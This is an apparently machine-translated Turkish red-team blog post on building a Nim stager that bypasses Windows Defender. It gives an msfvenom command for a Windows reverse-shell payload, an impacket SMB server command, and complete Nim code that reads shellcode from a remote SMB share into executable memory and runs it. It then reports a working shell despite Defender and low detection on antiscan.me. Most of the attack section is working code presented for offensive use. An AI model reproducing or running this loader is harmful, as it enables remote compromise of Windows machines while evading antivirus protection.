Nim'de SMB stager geliştirme
Merhaba sevgili Kırmızı Takımcılar. Son zamanlarda saldırgan kodlama için Nim ile iletişime geçmeye başladım. Dürüst olmak gerekirse bunu zor ve garip buluyorum ama İŞE YARIYOR!
Bugün, test sırasında Windows Defender'ı atlayarak basit bir SMB düzenleyici geliştiriyoruz.
Okumak yerine videoyu izlemeyi tercih ederseniz, videonun tamamı burada bulunabilir:https://youtu.be/qq-S2syksL0
Ayrıca, siber güvenlik bilgisini ve deneyimini paylaşmak için açık Discord'a katılmakla ilgileniyorsanız, memnuniyetle karşılayın:https://discord.gg/dWCe5ZMvtQ
Hadi gidelim
Teori oldukça basittir, fikir, buluşsal yöntemlere de yardımcı olurken, imza tabanlı algılamayı atlayarak dosyaya kabuk kodu yazmaktan kaçınmaktır. Başlangıçta kabuk kodunu HTTP ile indirmeyi denedim, ancak birçok sorunla karşılaştım, kendim çözemedim. Sonra metodoloji biraz değişti. Yük, HTTP'den indirmek yerine SMB paylaşımında barındırılacak ve doğrudan oradan okunacaktır.
msfvenom kademesiz yükünü kullandım
msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin
impacket-smbserver smb . -ts -debug -smb2support
import winim/lean
var filename = "\\\\192.168.153.128\\smb\\code.bin"
var file: File = open(filename, fmRead)
var fileSize = file.getFileSize()
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close
echo shellcode
echo fileSize
echo sizeof(shellcode)
type
buf* = LPVOID
var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()
Her şeyden önce, Windows API'lerini çağırmamıza izin veren Windows çekirdek kitaplığını içe aktarmalıyız:
import winim/lean
var filename = "\\\\192.168.153.128\\smb\\code.bin"
var file: File = open(filename, fmRead)
var fileSize = file.getFileSize()
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close
type
buf* = LPVOID
var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()
Test Zamanı!
2 test yaptım. İlki, Defender UP ve RUNNING ile Windows 10 İstemcisine karşı. İkincisi, antiscan.me arayüzüne karşıdır.
Nim Stager ve Windows Defender
Test 1, hazırlayıcıyı dosya sistemine bırakarak başlar. Şimdiye kadar hiçbir şey tetiklenmedi, bu da imza tabanlı algılamayı başarıyla atladığımız anlamına geliyor. Şimdi koşalım ve gözlemleyelim:
Stager'ın gayet iyi çalıştığı ortaya çıktı ve buradaki garip şey, Defender'ın tetiklenmeyi başarmış olması, ancak bu mermiyi öldürmedi:
Bu kabuğu birkaç dakika çalıştırdım ve tamamen işlevseldi. Şahsen defansın onu neden öldürmediği konusunda hiçbir fikrim yok, eğer cevabı biliyorsanız paylaşmaktan memnuniyet duyarım.
Nim Stager ve Antiscanme
Beni yanlış anlamayın, antiscanme harika ama aşamalı cihazları test ederken, gerçekten geçerli sonuçlar sunmanın bir yolu yok. Gördüğünüz sonuçlar, gerçek kabuk kodunu indirmek için hiçbir ağ olasılığına sahip olmadıklarından, tamamen imza tabanlı algılamaya dayalıdır. Daha fazla AV satıcısının bunu gerçek testlerde yakalamasını bekliyorum, ancak bu yapılacak güzel bir "ilk adım".
Stager'ı yükledikten sonra yalnızca 4/26 satıcı onu yakalayabildi.
Tetikleyicinin, Windows API çağrılarını okuyan satıcıları temel aldığına ve dolayısıyla bunu kötü amaçlı olarak saydığına inanıyorum. Tabii ki, tam olarak neyin yanlış gittiğini test etmek için pek çok test yapmam gerekecek. Şu an için teorim bu.
Çözüm
Nim ile oynamak eğlenceli ve sadece sahneleyerek elde ettiğimiz sonuçlar inanılmaz. Elbette uygulayabileceğimiz çok daha gelişmiş AV baypas teknikleri var ama gelecekte bunu yapacağız. Umarım bu içeriği yararlı bulursunuz ve yeni bir şeyler öğrenirsiniz.